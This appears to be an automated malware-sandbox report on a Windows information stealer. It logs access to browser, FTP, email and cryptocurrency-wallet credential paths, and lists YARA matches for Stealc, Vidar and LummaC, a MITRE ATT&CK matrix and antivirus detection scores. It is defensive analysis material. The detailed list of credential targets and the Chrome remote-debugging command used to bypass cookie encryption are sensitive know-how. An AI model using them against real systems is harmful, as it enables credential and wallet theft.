Source: C:\Users\user\AppData\Local\Temp\1008575001\32eab1d1d8.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\jgaaimajipbpdogpdglhaphldakikgef
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\fqs92o4p.default-release\cookies.sqlite-wal	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1008575001\32eab1d1d8.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\dlcobpjiigpikoobohmabehhmhfoodbb
Source: C:\Users\user\AppData\Local\Temp\1008575001\32eab1d1d8.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Web Data
Source: C:\Users\user\AppData\Local\Temp\1008575001\32eab1d1d8.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\bcopgchhojmggmffilplmbdicgaihlkp
Source: C:\Users\user\AppData\Local\Temp\1008575001\32eab1d1d8.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\hifafgmccdpekplomjjkcfgodnhcellj

Tries to harvest and steal ftp login credentials

Source: C:\Users\user\AppData\Local\Temp\1008575001\32eab1d1d8.exe	File opened: C:\Users\user\AppData\Roaming\FTPGetter
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Roaming\FileZilla\recentservers.xml	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1008575001\32eab1d1d8.exe	File opened: C:\Users\user\AppData\Roaming\FTPInfo
Source: C:\Users\user\AppData\Local\Temp\1008575001\32eab1d1d8.exe	File opened: C:\Users\user\AppData\Roaming\SmartFTP\Client 2.0\Favorites
Source: C:\Users\user\AppData\Local\Temp\1008575001\32eab1d1d8.exe	File opened: C:\Users\user\AppData\Roaming\FTPbox
Source: C:\Users\user\AppData\Local\Temp\1008575001\32eab1d1d8.exe	File opened: C:\Users\user\AppData\Roaming\FTPRush
Source: C:\Users\user\AppData\Local\Temp\1008575001\32eab1d1d8.exe	File opened: C:\Users\user\AppData\Roaming\Conceptworld\Notezilla
Source: C:\Users\user\AppData\Local\Temp\1008575001\32eab1d1d8.exe	File opened: C:\ProgramData\SiteDesigner\3D-FTP

Tries to steal Crypto Currency Wallets

Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Roaming\Bitcoin\wallets\	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Roaming\Electrum\wallets\	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Roaming\Electrum\wallets\	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Roaming\Electrum-LTC\wallets\	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Roaming\Electrum-LTC\wallets\	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Roaming\Exodus\	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Roaming\Exodus\exodus.wallet\	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Roaming\Exodus\exodus.wallet\	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Roaming\ElectronCash\wallets\	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Roaming\MultiDoge\	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Roaming\jaxx\Local Storage\	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Roaming\com.liberty.jaxx\IndexedDB\file__0.indexeddb.leveldb\	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Roaming\atomic\Local Storage\leveldb\	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Roaming\Binance\	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Roaming\Coinomi\Coinomi\wallets\	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Roaming\Ledger Live\Local Storage\leveldb\	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Roaming\Ledger Live\	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Roaming\Ledger Live\Session Storage\	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Roaming\atomic_qt\config\	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Roaming\atomic_qt\exports\	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Roaming\Guarda\IndexedDB\https_guarda.co_0.indexeddb.leveldb\	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Roaming\Guarda\Local Storage\leveldb\	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1008575001\32eab1d1d8.exe	File opened: C:\Users\user\AppData\Roaming\Exodus\exodus.wallet
Source: C:\Users\user\AppData\Local\Temp\1008575001\32eab1d1d8.exe	File opened: C:\Users\user\AppData\Roaming\Exodus\exodus.wallet
Source: C:\Users\user\AppData\Local\Temp\1008575001\32eab1d1d8.exe	File opened: C:\Users\user\AppData\Roaming\Ledger Live
Source: C:\Users\user\AppData\Local\Temp\1008575001\32eab1d1d8.exe	File opened: C:\Users\user\AppData\Roaming\atomic\Local Storage\leveldb
Source: C:\Users\user\AppData\Local\Temp\1008575001\32eab1d1d8.exe	File opened: C:\Users\user\AppData\Local\Coinomi\Coinomi\wallets
Source: C:\Users\user\AppData\Local\Temp\1008575001\32eab1d1d8.exe	File opened: C:\Users\user\AppData\Local\Coinomi\Coinomi\wallets
Source: C:\Users\user\AppData\Local\Temp\1008575001\32eab1d1d8.exe	File opened: C:\Users\user\AppData\Roaming\Bitcoin\wallets
Source: C:\Users\user\AppData\Local\Temp\1008575001\32eab1d1d8.exe	File opened: C:\Users\user\AppData\Roaming\Binance
Source: C:\Users\user\AppData\Local\Temp\1008575001\32eab1d1d8.exe	File opened: C:\Users\user\AppData\Roaming\com.liberty.jaxx\IndexedDB
Source: C:\Users\user\AppData\Local\Temp\1008575001\32eab1d1d8.exe	File opened: C:\Users\user\AppData\Roaming\Electrum\wallets
Source: C:\Users\user\AppData\Local\Temp\1008575001\32eab1d1d8.exe	File opened: C:\Users\user\AppData\Roaming\Electrum-LTC\wallets
Source: C:\Users\user\AppData\Local\Temp\1008575001\32eab1d1d8.exe	File opened: C:\Users\user\AppData\Roaming\Guarda\IndexedDB
Source: C:\Users\user\AppData\Local\Temp\1008575001\32eab1d1d8.exe	File opened: C:\Users\user\AppData\Roaming\Exodus\exodus.wallet
Source: C:\Users\user\AppData\Local\Temp\1008575001\32eab1d1d8.exe	File opened: C:\Users\user\AppData\Roaming\Exodus\exodus.wallet
Source: C:\Users\user\AppData\Local\Temp\1008575001\32eab1d1d8.exe	File opened: C:\Users\user\AppData\Roaming\Ledger Live
Source: C:\Users\user\AppData\Local\Temp\1008575001\32eab1d1d8.exe	File opened: C:\Users\user\AppData\Roaming\atomic\Local Storage\leveldb
Source: C:\Users\user\AppData\Local\Temp\1008575001\32eab1d1d8.exe	File opened: C:\Users\user\AppData\Local\Coinomi\Coinomi\wallets
Source: C:\Users\user\AppData\Local\Temp\1008575001\32eab1d1d8.exe	File opened: C:\Users\user\AppData\Local\Coinomi\Coinomi\wallets
Source: C:\Users\user\AppData\Local\Temp\1008575001\32eab1d1d8.exe	File opened: C:\Users\user\AppData\Roaming\Bitcoin\wallets
Source: C:\Users\user\AppData\Local\Temp\1008575001\32eab1d1d8.exe	File opened: C:\Users\user\AppData\Roaming\Binance
Source: C:\Users\user\AppData\Local\Temp\1008575001\32eab1d1d8.exe	File opened: C:\Users\user\AppData\Roaming\com.liberty.jaxx\IndexedDB
Source: C:\Users\user\AppData\Local\Temp\1008575001\32eab1d1d8.exe	File opened: C:\Users\user\AppData\Roaming\Electrum\wallets
Source: C:\Users\user\AppData\Local\Temp\1008575001\32eab1d1d8.exe	File opened: C:\Users\user\AppData\Roaming\Electrum-LTC\wallets
Source: C:\Users\user\AppData\Local\Temp\1008575001\32eab1d1d8.exe	File opened: C:\Users\user\AppData\Roaming\Guarda\IndexedDB
Source: C:\Users\user\AppData\Local\Temp\1008575001\32eab1d1d8.exe	File opened: C:\Users\user\AppData\Roaming\Exodus\exodus.wallet
Source: C:\Users\user\AppData\Local\Temp\1008575001\32eab1d1d8.exe	File opened: C:\Users\user\AppData\Roaming\Exodus\exodus.wallet
Source: C:\Users\user\AppData\Local\Temp\1008575001\32eab1d1d8.exe	File opened: C:\Users\user\AppData\Roaming\Ledger Live
Source: C:\Users\user\AppData\Local\Temp\1008575001\32eab1d1d8.exe	File opened: C:\Users\user\AppData\Roaming\atomic\Local Storage\leveldb
Source: C:\Users\user\AppData\Local\Temp\1008575001\32eab1d1d8.exe	File opened: C:\Users\user\AppData\Local\Coinomi\Coinomi\wallets
Source: C:\Users\user\AppData\Local\Temp\1008575001\32eab1d1d8.exe	File opened: C:\Users\user\AppData\Local\Coinomi\Coinomi\wallets
Source: C:\Users\user\AppData\Local\Temp\1008575001\32eab1d1d8.exe	File opened: C:\Users\user\AppData\Roaming\Bitcoin\wallets
Source: C:\Users\user\AppData\Local\Temp\1008575001\32eab1d1d8.exe	File opened: C:\Users\user\AppData\Roaming\Binance
Source: C:\Users\user\AppData\Local\Temp\1008575001\32eab1d1d8.exe	File opened: C:\Users\user\AppData\Roaming\com.liberty.jaxx\IndexedDB
Source: C:\Users\user\AppData\Local\Temp\1008575001\32eab1d1d8.exe	File opened: C:\Users\user\AppData\Roaming\Electrum\wallets
Source: C:\Users\user\AppData\Local\Temp\1008575001\32eab1d1d8.exe	File opened: C:\Users\user\AppData\Roaming\Electrum-LTC\wallets
Source: C:\Users\user\AppData\Local\Temp\1008575001\32eab1d1d8.exe	File opened: C:\Users\user\AppData\Roaming\Guarda\IndexedDB

Tries to steal Mail credentials (via file / registry access)

Source: C:\Users\user\Desktop\file.exe	Key opened: HKEY_CURRENT_USER\Software\Microsoft\Windows NT\CurrentVersion\Windows Messaging Subsystem\Profiles\Outlook\9375CFF0413111d3B88A00104B2A6676\00000001	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Key opened: HKEY_CURRENT_USER\Software\Microsoft\Windows NT\CurrentVersion\Windows Messaging Subsystem\Profiles\Outlook\9375CFF0413111d3B88A00104B2A6676\00000002	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Key opened: HKEY_CURRENT_USER\Software\Microsoft\Windows NT\CurrentVersion\Windows Messaging Subsystem\Profiles\Outlook\9375CFF0413111d3B88A00104B2A6676\00000003	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Key opened: HKEY_CURRENT_USER\Software\Microsoft\Windows NT\CurrentVersion\Windows Messaging Subsystem\Profiles\Outlook\9375CFF0413111d3B88A00104B2A6676\00000004	Jump to behavior

Source: C:\Users\user\AppData\Local\Temp\1008575001\32eab1d1d8.exe	Directory queried: C:\Users\user\Documents
Source: C:\Users\user\AppData\Local\Temp\1008575001\32eab1d1d8.exe	Directory queried: C:\Users\user\Documents
Source: C:\Users\user\AppData\Local\Temp\1008575001\32eab1d1d8.exe	Directory queried: C:\Users\user\Documents
Source: C:\Users\user\AppData\Local\Temp\1008575001\32eab1d1d8.exe	Directory queried: C:\Users\user\Documents
Source: C:\Users\user\AppData\Local\Temp\1008575001\32eab1d1d8.exe	Directory queried: C:\Users\user\Documents\CURQNKVOIX
Source: C:\Users\user\AppData\Local\Temp\1008575001\32eab1d1d8.exe	Directory queried: C:\Users\user\Documents\CURQNKVOIX
Source: C:\Users\user\AppData\Local\Temp\1008575001\32eab1d1d8.exe	Directory queried: C:\Users\user\Documents\DVWHKMNFNN
Source: C:\Users\user\AppData\Local\Temp\1008575001\32eab1d1d8.exe	Directory queried: C:\Users\user\Documents\DVWHKMNFNN
Source: C:\Users\user\AppData\Local\Temp\1008575001\32eab1d1d8.exe	Directory queried: C:\Users\user\Documents\GAOBCVIQIJ
Source: C:\Users\user\AppData\Local\Temp\1008575001\32eab1d1d8.exe	Directory queried: C:\Users\user\Documents\GAOBCVIQIJ
Source: C:\Users\user\AppData\Local\Temp\1008575001\32eab1d1d8.exe	Directory queried: C:\Users\user\Documents\HTAGVDFUIE
Source: C:\Users\user\AppData\Local\Temp\1008575001\32eab1d1d8.exe	Directory queried: C:\Users\user\Documents\HTAGVDFUIE
Source: C:\Users\user\AppData\Local\Temp\1008575001\32eab1d1d8.exe	Directory queried: C:\Users\user\Documents\UOOJJOZIRH
Source: C:\Users\user\AppData\Local\Temp\1008575001\32eab1d1d8.exe	Directory queried: C:\Users\user\Documents\UOOJJOZIRH
Source: C:\Users\user\AppData\Local\Temp\1008575001\32eab1d1d8.exe	Directory queried: C:\Users\user\Documents\GAOBCVIQIJ
Source: C:\Users\user\AppData\Local\Temp\1008575001\32eab1d1d8.exe	Directory queried: C:\Users\user\Documents\GAOBCVIQIJ
Source: C:\Users\user\AppData\Local\Temp\1008575001\32eab1d1d8.exe	Directory queried: C:\Users\user\Documents
Source: C:\Users\user\AppData\Local\Temp\1008575001\32eab1d1d8.exe	Directory queried: C:\Users\user\Documents
Source: C:\Users\user\AppData\Local\Temp\1008575001\32eab1d1d8.exe	Directory queried: C:\Users\user\Documents\DVWHKMNFNN
Source: C:\Users\user\AppData\Local\Temp\1008575001\32eab1d1d8.exe	Directory queried: C:\Users\user\Documents\DVWHKMNFNN
Source: C:\Users\user\AppData\Local\Temp\1008575001\32eab1d1d8.exe	Directory queried: C:\Users\user\Documents\SUAVTZKNFL
Source: C:\Users\user\AppData\Local\Temp\1008575001\32eab1d1d8.exe	Directory queried: C:\Users\user\Documents\SUAVTZKNFL
Source: C:\Users\user\AppData\Local\Temp\1008575001\32eab1d1d8.exe	Directory queried: C:\Users\user\Documents\CURQNKVOIX
Source: C:\Users\user\AppData\Local\Temp\1008575001\32eab1d1d8.exe	Directory queried: C:\Users\user\Documents\CURQNKVOIX
Source: C:\Users\user\AppData\Local\Temp\1008575001\32eab1d1d8.exe	Directory queried: C:\Users\user\Documents\CURQNKVOIX
Source: C:\Users\user\AppData\Local\Temp\1008575001\32eab1d1d8.exe	Directory queried: C:\Users\user\Documents\CURQNKVOIX
Source: C:\Users\user\AppData\Local\Temp\1008575001\32eab1d1d8.exe	Directory queried: C:\Users\user\Documents
Source: C:\Users\user\AppData\Local\Temp\1008575001\32eab1d1d8.exe	Directory queried: C:\Users\user\Documents
Source: C:\Users\user\AppData\Local\Temp\1008575001\32eab1d1d8.exe	Directory queried: C:\Users\user\Documents\SUAVTZKNFL
Source: C:\Users\user\AppData\Local\Temp\1008575001\32eab1d1d8.exe	Directory queried: C:\Users\user\Documents\SUAVTZKNFL
Source: C:\Users\user\AppData\Local\Temp\1008575001\32eab1d1d8.exe	Directory queried: C:\Users\user\Documents\VLZDGUKUTZ
Source: C:\Users\user\AppData\Local\Temp\1008575001\32eab1d1d8.exe	Directory queried: C:\Users\user\Documents\VLZDGUKUTZ
Source: C:\Users\user\AppData\Local\Temp\1008575001\32eab1d1d8.exe	Directory queried: C:\Users\user\Documents\DVWHKMNFNN
Source: C:\Users\user\AppData\Local\Temp\1008575001\32eab1d1d8.exe	Directory queried: C:\Users\user\Documents\DVWHKMNFNN
Source: C:\Users\user\AppData\Local\Temp\1008575001\32eab1d1d8.exe	Directory queried: C:\Users\user\Documents\KATAXZVCPS
Source: C:\Users\user\AppData\Local\Temp\1008575001\32eab1d1d8.exe	Directory queried: C:\Users\user\Documents\KATAXZVCPS
Source: C:\Users\user\AppData\Local\Temp\1008575001\32eab1d1d8.exe	Directory queried: C:\Users\user\Documents\CURQNKVOIX
Source: C:\Users\user\AppData\Local\Temp\1008575001\32eab1d1d8.exe	Directory queried: C:\Users\user\Documents\CURQNKVOIX
Source: C:\Users\user\AppData\Local\Temp\1008575001\32eab1d1d8.exe	Directory queried: C:\Users\user\Documents\CURQNKVOIX
Source: C:\Users\user\AppData\Local\Temp\1008575001\32eab1d1d8.exe	Directory queried: C:\Users\user\Documents\CURQNKVOIX
Source: C:\Users\user\AppData\Local\Temp\1008575001\32eab1d1d8.exe	Directory queried: C:\Users\user\Documents\GAOBCVIQIJ
Source: C:\Users\user\AppData\Local\Temp\1008575001\32eab1d1d8.exe	Directory queried: C:\Users\user\Documents\GAOBCVIQIJ
Source: C:\Users\user\AppData\Local\Temp\1008575001\32eab1d1d8.exe	Directory queried: C:\Users\user\Documents\HTAGVDFUIE
Source: C:\Users\user\AppData\Local\Temp\1008575001\32eab1d1d8.exe	Directory queried: C:\Users\user\Documents\HTAGVDFUIE
Source: C:\Users\user\AppData\Local\Temp\1008575001\32eab1d1d8.exe	Directory queried: C:\Users\user\Documents\RAYHIWGKDI
Source: C:\Users\user\AppData\Local\Temp\1008575001\32eab1d1d8.exe	Directory queried: C:\Users\user\Documents\RAYHIWGKDI
Source: C:\Users\user\AppData\Local\Temp\1008575001\32eab1d1d8.exe	Directory queried: C:\Users\user\Documents\SUAVTZKNFL
Source: C:\Users\user\AppData\Local\Temp\1008575001\32eab1d1d8.exe	Directory queried: C:\Users\user\Documents\SUAVTZKNFL
Source: C:\Users\user\AppData\Local\Temp\1008575001\32eab1d1d8.exe	Directory queried: C:\Users\user\Documents\WUTJSCBCFX
Source: C:\Users\user\AppData\Local\Temp\1008575001\32eab1d1d8.exe	Directory queried: C:\Users\user\Documents\WUTJSCBCFX

Source: Yara match	File source: 00000038.00000003.3403782942.000000000103F000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000038.00000003.3351129304.0000000001049000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000038.00000003.3400561004.000000000103A000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 0000001E.00000003.3199847114.0000000000E2B000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 0000001C.00000003.2815937143.0000000000FE3000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000038.00000003.3404015760.0000000001042000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 0000001C.00000003.2950124279.0000000000FE9000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 0000001C.00000003.2882349545.0000000000FE3000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000038.00000003.3399326642.0000000001037000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000038.00000003.3399431991.0000000001042000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 0000001E.00000003.3192541173.0000000000E2A000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 0000001E.00000003.3200161443.0000000000E30000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000038.00000003.3400820228.0000000001042000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000038.00000003.3350033216.0000000001037000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 0000001C.00000003.2882349545.0000000000FD3000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 0000001C.00000003.2846086250.0000000000FE3000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 0000001C.00000003.2929836310.0000000000FE3000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: Process Memory Space: file.exe PID: 6924, type: MEMORYSTR
Source: Yara match	File source: Process Memory Space: 32eab1d1d8.exe PID: 7524, type: MEMORYSTR

Remote Access Functionality

Attempt to bypass Chrome Application-Bound Encryption

Source: C:\Users\user\Desktop\file.exe

Process created: C:\Program Files\Google\Chrome\Application\chrome.exe "C:\Program Files\Google\Chrome\Application\chrome.exe" --remote-debugging-port=9229 --profile-directory="Default"

Yara detected Credential Flusher

Source: Yara match

File source: 0000001F.00000003.2895024923.0000000000E63000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY

Yara detected Cryptbot

Source: Yara match

File source: dump.pcap, type: PCAP

Yara detected LummaC Stealer

Source: Yara match	File source: Process Memory Space: 32eab1d1d8.exe PID: 7524, type: MEMORYSTR
Source: Yara match	File source: sslproxydump.pcap, type: PCAP

Yara detected Stealc

Source: Yara match	File source: 0000001D.00000002.2908507137.00000000011AE000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 0000001D.00000003.2839662305.0000000005040000.00000004.00001000.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 0000001D.00000002.2892004269.00000000001D1000.00000040.00000001.01000000.00000019.sdmp, type: MEMORY
Source: Yara match	File source: 0000002B.00000003.2984266147.0000000004F30000.00000004.00001000.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000000.00000002.2127237618.0000000000201000.00000040.00000001.01000000.00000003.sdmp, type: MEMORY
Source: Yara match	File source: 0000002B.00000002.3144520267.00000000011DB000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000000.00000002.2128255409.0000000000C6D000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 0000002B.00000002.3122292827.00000000001D1000.00000040.00000001.01000000.00000019.sdmp, type: MEMORY
Source: Yara match	File source: 00000000.00000003.1691787671.0000000004BB0000.00000004.00001000.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: Process Memory Space: file.exe PID: 6924, type: MEMORYSTR
Source: Yara match	File source: dump.pcap, type: PCAP

Yara detected Vidar stealer

Source: Yara match

File source: Process Memory Space: file.exe PID: 6924, type: MEMORYSTR

Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C660C40 sqlite3_bind_zeroblob,	0_2_6C660C40
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C660D60 sqlite3_bind_parameter_name,	0_2_6C660D60
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C588EA0 sqlite3_clear_bindings,	0_2_6C588EA0
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C660B40 sqlite3_bind_value,sqlite3_bind_int64,sqlite3_bind_double,sqlite3_bind_zeroblob,	0_2_6C660B40
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C586410 bind,WSAGetLastError,	0_2_6C586410
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C58C050 sqlite3_bind_parameter_index,strlen,strncmp,strncmp,	0_2_6C58C050
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C586070 PR_Listen,	0_2_6C586070
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C58C030 sqlite3_bind_parameter_count,	0_2_6C58C030
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C5860B0 listen,WSAGetLastError,	0_2_6C5860B0
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C5122D0 sqlite3_bind_blob,	0_2_6C5122D0
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C5863C0 PR_Bind,	0_2_6C5863C0
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C589400 sqlite3_bind_int64,	0_2_6C589400
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C5894C0 sqlite3_bind_text,	0_2_6C5894C0
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C5894F0 sqlite3_bind_text16,	0_2_6C5894F0
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C589480 sqlite3_bind_null,	0_2_6C589480

Mitre Att&ck Matrix

Reconnaissance	Resource Development	Initial Access	Execution	Persistence	Privilege Escalation	Defense Evasion	Credential Access	Discovery	Lateral Movement	Collection	Command and Control	Exfiltration	Impact
Gather Victim Identity Information	Acquire Infrastructure	Valid Accounts	21 Windows Management Instrumentation	1 DLL Side-Loading	1 DLL Side-Loading	511 Disable or Modify Tools	2 OS Credential Dumping	1 System Time Discovery	Remote Services	11 Archive Collected Data	12 Ingress Tool Transfer	Exfiltration Over Other Network Medium	Abuse Accessibility Features
Credentials	Domains	Default Accounts	1 Exploitation for Client Execution	1 Scheduled Task/Job	2 Bypass User Account Control	1 Deobfuscate/Decode Files or Information	LSASS Memory	14 File and Directory Discovery	Remote Desktop Protocol	41 Data from Local System	21 Encrypted Channel	Exfiltration Over Bluetooth	Network Denial of Service
Email Addresses	DNS Server	Domain Accounts	2 Command and Scripting Interpreter	11 Registry Run Keys / Startup Folder	1 Extra Window Memory Injection	4 Obfuscated Files or Information	Security Account Manager	249 System Information Discovery	SMB/Windows Admin Shares	1 Email Collection	1 Remote Access Software	Automated Exfiltration	Data Encrypted for Impact
Employee Names	Virtual Private Server	Local Accounts	1 Scheduled Task/Job	Login Hook	12 Process Injection	12 Software Packing	NTDS	1 Query Registry	Distributed Component Object Model	Input Capture	3 Non-Application Layer Protocol	Traffic Duplication	Data Destruction
Gather Victim Network Information	Server	Cloud Accounts	Launchd	Network Logon Script	1 Scheduled Task/Job	1 DLL Side-Loading	LSA Secrets	881 Security Software Discovery	SSH	Keylogging	114 Application Layer Protocol	Scheduled Transfer	Data Encrypted for Impact
Domain Properties	Botnet	Replication Through Removable Media	Scheduled Task	RC Scripts	11 Registry Run Keys / Startup Folder	2 Bypass User Account Control	Cached Domain Credentials	2 Process Discovery	VNC	GUI Input Capture	Multiband Communication	Data Transfer Size Limits	Service Stop
DNS	Web Services	External Remote Services	Systemd Timers	Startup Items	Startup Items	1 Extra Window Memory Injection	DCSync	381 Virtualization/Sandbox Evasion	Windows Remote Management	Web Portal Capture	Commonly Used Port	Exfiltration Over C2 Channel	Inhibit System Recovery
Network Trust Dependencies	Serverless	Drive-by Compromise	Container Orchestration Job	Scheduled Task/Job	Scheduled Task/Job	121 Masquerading	Proc Filesystem	1 Application Window Discovery	Cloud Services	Credential API Hooking	Application Layer Protocol	Exfiltration Over Alternative Protocol	Defacement
Network Topology	Malvertising	Exploit Public-Facing Application	Command and Scripting Interpreter	At	At	381 Virtualization/Sandbox Evasion	/etc/passwd and /etc/shadow	1 Remote System Discovery	Direct Cloud VM Connections	Data Staged	Web Protocols	Exfiltration Over Symmetric Encrypted Non-C2 Protocol	Internal Defacement
IP Addresses	Compromise Infrastructure	Supply Chain Compromise	PowerShell	Cron	Cron	12 Process Injection	Network Sniffing	Network Service Discovery	Shared Webroot	Local Data Staging	File Transfer Protocols	Exfiltration Over Asymmetric Encrypted Non-C2 Protocol	External Defacement

Behavior Graph

Hide Legend

Legend:

Process
Signature
Created File
DNS/IP Info
Is Dropped
Is Windows Process
Number of created Registry Values
Number of created Files
Visual Basic
Delphi
Java
.Net C# or VB.NET
C, C++ or other language
Is malicious
Internet

Source	Detection	Scanner	Label	Link
file.exe	39%	ReversingLabs	Win32.Trojan.Generic
file.exe	50%	Virustotal		Browse
file.exe	100%	Avira	TR/Crypt.TPM.Gen
file.exe	100%	Joe Sandbox ML

Dropped Files

Source	Detection	Scanner	Label
C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\3D003UC5\random[1].exe	100%	Avira	TR/Crypt.TPM.Gen
C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\YLNGKWRH\random[2].exe	100%	Avira	TR/Crypt.TPM.Gen
C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\YLNGKWRH\random[1].exe	100%	Avira	TR/Crypt.TPM.Gen
C:\Users\user\AppData\Local\Temp\1008563001\5ff77f639c.exe	100%	Avira	TR/Crypt.TPM.Gen
C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\3D003UC5\random[1].exe	100%	Joe Sandbox ML
C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\3D003UC5\random[1].exe	100%	Joe Sandbox ML
C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\YLNGKWRH\random[2].exe	100%	Joe Sandbox ML
C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\YLNGKWRH\random[1].exe	100%	Joe Sandbox ML
C:\Users\user\AppData\Local\Temp\1008563001\5ff77f639c.exe	100%	Joe Sandbox ML
C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\3D003UC5\random[1].exe	100%	Joe Sandbox ML
C:\ProgramData\freebl3.dll	0%	ReversingLabs
C:\ProgramData\mozglue.dll	0%	ReversingLabs
C:\ProgramData\msvcp140.dll	0%	ReversingLabs
C:\ProgramData\nss3.dll	0%	ReversingLabs
C:\ProgramData\softokn3.dll	0%	ReversingLabs
C:\ProgramData\vcruntime140.dll	0%	ReversingLabs
C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\3D003UC5\random[1].exe	42%	ReversingLabs	Win32.Infostealer.Tinba
C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\YLNGKWRH\freebl3[1].dll	0%	ReversingLabs
C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\YLNGKWRH\mozglue[1].dll	0%	ReversingLabs
C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\YLNGKWRH\msvcp140[1].dll	0%	ReversingLabs
C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\YLNGKWRH\nss3[1].dll	0%	ReversingLabs
